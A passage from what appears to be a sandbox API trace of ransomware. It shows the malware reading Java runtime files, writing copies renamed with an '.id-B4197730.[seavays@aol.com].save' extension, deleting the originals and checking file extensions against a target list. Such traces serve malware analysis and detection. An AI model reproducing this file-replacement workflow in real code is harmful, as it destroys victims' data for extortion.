dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.422] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=251327) returned 1 [0163.422] CloseHandle (hObject=0x41c) returned 1 [0163.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0163.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.422] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0163.423] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.423] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.423] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0163.423] GetLastError () returned 0x0 [0163.423] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0163.432] WriteFile (in: hFile=0x454, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0163.694] ReadFile (in: hFile=0x41c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.694] WriteFile (in: hFile=0x454, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xee, lpOverlapped=0x0) returned 1 [0163.695] SetEndOfFile (hFile=0x454) returned 1 [0163.954] CloseHandle (hObject=0x454) returned 1 [0163.955] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.955] SetEndOfFile (hFile=0x41c) returned 1 [0163.969] CloseHandle (hObject=0x41c) returned 1 [0163.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0164.086] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0164.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.246] lstrlenW (lpString=".doc") returned 4 [0164.246] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0164.246] lstrlenW (lpString=".docx") returned 5 [0164.246] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0164.246] lstrlenW (lpString=".pdf") returned 4 [0164.246] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0164.246] lstrlenW (lpString=".xls") returned 4 [0164.246] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0164.246] lstrlenW (lpString=".xlsx") returned 5 [0164.246] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0164.247] lstrlenW (lpString=".ppt") returned 4 [0164.247] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.247] lstrlenW (lpString=".zip") returned 4 [0164.247] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0164.247] lstrlenW (lpString=".rar") returned 4 [0164.247] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0164.247] lstrlenW (lpString=".bz2") returned 4 [0164.247] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0164.247] lstrlenW (lpString=".7z") returned 3 [0164.247] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.247] lstrlenW (lpString=".dbf") returned 4 [0164.247] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.247] lstrlenW (lpString=".1cd") returned 4 [0164.247] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.247] lstrlenW (lpString=".jpg") returned 4 [0164.247] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0164.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.247] lstrlenW (lpString=".doc") returned 4 [0164.247] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0164.247] lstrlenW (lpString=".docx") returned 5 [0164.248] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0164.248] lstrlenW (lpString=".pdf") returned 4 [0164.248] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0164.248] lstrlenW (lpString=".xls") returned 4 [0164.248] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0164.248] lstrlenW (lpString=".xlsx") returned 5 [0164.248] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0164.248] lstrlenW (lpString=".ppt") returned 4 [0164.248] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.248] lstrlenW (lpString=".zip") returned 4 [0164.248] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0164.248] lstrlenW (lpString=".rar") returned 4 [0164.248] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0164.248] lstrlenW (lpString=".bz2") returned 4 [0164.248] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0164.248] lstrlenW (lpString=".7z") returned 3 [0164.248] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.248] lstrlenW (lpString=".dbf") returned 4 [0164.248] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.248] lstrlenW (lpString=".1cd") returned 4 [0164.248] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0164.248] lstrlenW (lpString=".jpg") returned 4 [0164.248] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0164.249] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0164.249] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0164.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.716] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=344908) returned 1 [0164.716] CloseHandle (hObject=0x4b4) returned 1 [0164.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0164.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.716] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.717] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.717] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0164.719] GetLastError () returned 0x0 [0164.719] ReadFile (in: hFile=0x4b4, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x5434c, lpOverlapped=0x0) returned 1 [0164.733] WriteFile (in: hFile=0x4b8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x54350, lpOverlapped=0x0) returned 1 [0164.742] ReadFile (in: hFile=0x4b4, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.742] WriteFile (in: hFile=0x4b8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x102, lpOverlapped=0x0) returned 1 [0164.742] SetEndOfFile (hFile=0x4b8) returned 1 [0164.743] CloseHandle (hObject=0x4b8) returned 1 [0164.743] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.743] SetEndOfFile (hFile=0x4b4) returned 1 [0164.904] CloseHandle (hObject=0x4b4) returned 1 [0164.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0166.596] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0167.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.100] lstrlenW (lpString=".doc") returned 4 [0167.100] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0167.100] lstrlenW (lpString=".docx") returned 5 [0167.100] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0167.100] lstrlenW (lpString=".pdf") returned 4 [0167.100] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0167.100] lstrlenW (lpString=".xls") returned 4 [0167.100] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0167.100] lstrlenW (lpString=".xlsx") returned 5 [0167.100] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0167.100] lstrlenW (lpString=".ppt") returned 4 [0167.100] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0167.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.100] lstrlenW (lpString=".zip") returned 4 [0167.100] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0167.100] lstrlenW (lpString=".rar") returned 4 [0167.100] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0167.100] lstrlenW (lpString=".bz2") returned 4 [0167.100] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0167.100] lstrlenW (lpString=".7z") returned 3 [0167.100] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0167.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.100] lstrlenW (lpString=".dbf") returned 4 [0167.100] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0167.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.101] lstrlenW (lpString=".1cd") returned 4 [0167.101] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0167.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.101] lstrlenW (lpString=".jpg") returned 4 [0167.101] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0167.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.101] lstrlenW (lpString=".doc") returned 4 [0167.101] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0167.101] lstrlenW (lpString=".docx") returned 5 [0167.101] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0167.101] lstrlenW (lpString=".pdf") returned 4 [0167.101] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0167.101] lstrlenW (lpString=".xls") returned 4 [0167.101] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0167.101] lstrlenW (lpString=".xlsx") returned 5 [0167.101] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0167.101] lstrlenW (lpString=".ppt") returned 4 [0167.101] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0167.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.101] lstrlenW (lpString=".zip") returned 4 [0167.101] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0167.101] lstrlenW (lpString=".rar") returned 4 [0167.101] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0167.102] lstrlenW (lpString=".bz2") returned 4 [0167.102] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0167.102] lstrlenW (lpString=".7z") returned 3 [0167.102] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0167.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.102] lstrlenW (lpString=".dbf") returned 4 [0167.102] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0167.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.102] lstrlenW (lpString=".1cd") returned 4 [0167.102] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0167.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0167.102] lstrlenW (lpString=".jpg") returned 4 [0167.102] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0167.102] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0167.102] lstrlenW (lpString="cursors.properties") returned 18 [0167.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.436] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1280) returned 1 [0168.436] CloseHandle (hObject=0x51c) returned 1 [0168.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0168.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.294] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.294] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.294] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0169.301] GetLastError () returned 0x0 [0169.301] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x500, lpOverlapped=0x0) returned 1 [0169.303] WriteFile (in: hFile=0x508, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x510, lpOverlapped=0x0) returned 1 [0169.304] ReadFile (in: hFile=0x520, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.304] WriteFile (in: hFile=0x508, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf8, lpOverlapped=0x0) returned 1 [0169.304] SetEndOfFile (hFile=0x508) returned 1 [0169.305] CloseHandle (hObject=0x508) returned 1 [0169.305] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.305] SetEndOfFile (hFile=0x520) returned 1 [0169.308] CloseHandle (hObject=0x520) returned 1 [0169.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.309] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.310] lstrlenW (lpString=".doc") returned 4 [0169.310] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString=".docx") returned 5 [0169.310] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.310] lstrlenW (lpString=".pdf") returned 4 [0169.310] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString=".xls") returned 4 [0169.310] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString=".xlsx") returned 5 [0169.310] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.310] lstrlenW (lpString=".ppt") returned 4 [0169.310] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.310] lstrlenW (lpString=".zip") returned 4 [0169.310] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString=".rar") returned 4 [0169.310] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString=".bz2") returned 4 [0169.310] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString=".7z") returned 3 [0169.310] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.310] lstrlenW (lpString=".dbf") returned 4 [0169.310] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.310] lstrlenW (lpString=".1cd") returned 4 [0169.310] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.310] lstrlenW (lpString=".jpg") returned 4 [0169.310] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.311] lstrlenW (lpString=".doc") returned 4 [0169.311] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString=".docx") returned 5 [0169.311] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.311] lstrlenW (lpString=".pdf") returned 4 [0169.311] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString=".xls") returned 4 [0169.311] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString=".xlsx") returned 5 [0169.311] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.311] lstrlenW (lpString=".ppt") returned 4 [0169.311] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.311] lstrlenW (lpString=".zip") returned 4 [0169.311] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString=".rar") returned 4 [0169.311] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString=".bz2") returned 4 [0169.311] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString=".7z") returned 3 [0169.311] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.311] lstrlenW (lpString=".dbf") returned 4 [0169.311] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.311] lstrlenW (lpString=".1cd") returned 4 [0169.311] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0169.311] lstrlenW (lpString=".jpg") returned 4 [0169.311] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.312] lstrcmpiW (lpString1=".jfc", lpString2=".save") returned -1 [0169.312] lstrlenW (lpString="default.jfc") returned 11 [0169.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.312] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20109) returned 1 [0169.312] CloseHandle (hObject=0x520) returned 1 [0169.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0169.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program 